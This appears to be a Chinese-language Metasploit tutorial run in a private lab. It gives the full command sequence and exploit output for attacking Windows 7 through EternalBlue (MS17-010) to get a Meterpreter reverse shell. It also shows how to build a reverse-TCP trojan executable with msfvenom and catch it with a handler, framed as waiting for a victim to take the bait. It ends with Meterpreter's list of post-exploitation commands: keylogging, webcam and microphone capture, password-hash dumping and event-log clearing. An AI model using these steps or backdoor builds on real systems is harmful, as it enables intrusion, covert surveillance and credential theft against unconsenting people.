metasploit是什么
msf是一款開源安全漏洞利用和測試工具，集成了各種平臺上常見的溢出漏洞和流行的shellcode,并持續保持更新。
metasploit讓復雜的漏洞攻擊流程變的非常簡單，一個電腦小白經過幾個小時的學習，就能對操作系統等主流漏洞發起危害性攻擊
初始化命令
msfdb init
msfconsole命令進入msf
┌──(root?kali)-[/home/kali]
└─# msfconsole
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: previous definition of NAME was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: previous definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: previous definition of IDENTIFIER was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::NAME
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:11: warning: previous definition of NAME was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::PREFERENCE
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:12: warning: previous definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Nistp256::IDENTIFIER
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hrr_rb_ssh/transport/server_host_key_algorithm/ecdsa_sha2_nistp256.rb:13: warning: previous definition of IDENTIFIER was here
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.
=[ metasploit v6.2.9-dev ]
+ -- --=[ 2230 exploits - 1177 auxiliary - 398 post ]
+ -- --=[ 867 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: After running db_nmap, be sure to
check out the result of hosts and services
msf6 >
永恒之藍漏洞——metasploit攻擊Windows操作系統
image.png
metasploit攻擊永恒之藍全流程:
1.使用模塊
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
2.設置必選項
show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 445 yes The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.111.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
set RHOSTS 192.168.111.130
set payload windows/x64/meterpreter/reverse_tcp
set lport 60000
3.運行模塊
#運行
run
[*] Started reverse TCP handler on 192.168.111.128:60000
[*] 192.168.111.130:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.111.130:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7600 x64 (64-bit)
[*] 192.168.111.130:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.111.130:445 - The target is vulnerable.
[*] 192.168.111.130:445 - Connecting to target for exploitation.
[+] 192.168.111.130:445 - Connection established for exploitation.
[+] 192.168.111.130:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.111.130:445 - CORE raw buffer dump (25 bytes)
[*] 192.168.111.130:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 45 6e 74 65 72 70 Windows 7 Enterp
[*] 192.168.111.130:445 - 0x00000010 72 69 73 65 20 37 36 30 30 rise 7600
[+] 192.168.111.130:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.111.130:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.111.130:445 - Sending all but last fragment of exploit packet
[*] 192.168.111.130:445 - Starting non-paged pool grooming
[+] 192.168.111.130:445 - Sending SMBv2 buffers
[+] 192.168.111.130:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.111.130:445 - Sending final SMBv2 buffers.
[*] 192.168.111.130:445 - Sending last fragment of exploit packet!
[*] 192.168.111.130:445 - Receiving response from exploit packet
[+] 192.168.111.130:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.111.130:445 - Sending egg to corrupted connection.
[*] 192.168.111.130:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 192.168.111.130
[+] 192.168.111.130:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.111.130:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.111.130:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Meterpreter session 1 opened (192.168.111.128:60000 -> 192.168.111.130:49170) at 2023-03-14 21:16:58 -0400
#退出
back
- exploit 漏洞攻擊腳本
- payload 攻擊載荷
msfvenom生成遠控木馬
msfvenom是用來生成后門的軟件，在目標機上執行后門，在本地監聽上線。msfvenom在shell里使用，不是msfconsole終端。
1.生成demo.exe 后門程序
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.111.128 lport=9999 -f exe -o demo.exe
image.png
2.進入msfconsole，設置使用handler監聽模塊
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.111.128
set lport 9999
3、運行模塊，開啟監聽，等待目標機打開那個后門程序（等待受害者上鉤）
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.111.128:9999
4、在Windows上運行后門程序后
[*] Started reverse TCP handler on 192.168.111.128:9999
[*] Sending stage (200774 bytes) to 192.168.111.1
[*] Meterpreter session 1 opened (192.168.111.128:9999 -> 192.168.111.1:51517) at 2023-03-15 06:28:31 -0400
5、利用后門程序可以干很多事情
meterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
detach Detach the meterpreter session (for http/https)
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process
pivot Manage pivot listeners
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the session
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session
ssl_verify Modify the SSL certificate verification setting
transport Manage the transport mechanisms
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
del Delete the specified file
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcat Read the contents of a local file to the screen
lcd Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
resolve Resolve a set of host names on the target
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as
kill Terminate a process
localtime Displays the target system local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyboard_send Send keystrokes
keyevent Send key events
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
mouse Send mouse events
screenshare Watch the remote user desktop in real time
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Stdapi: Audio Output Commands
=============================
Command Description
------- -----------
play play a waveform audio file (.wav) on the target system
Priv: Elevate Commands
======================
Command Description
------- -----------
getsystem Attempt to elevate your privilege to that of local system.
Priv: Password database Commands
================================
Command Description
------- -----------
hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
========================
Command Description
------- -----------
timestomp Manipulate file MACE attributes
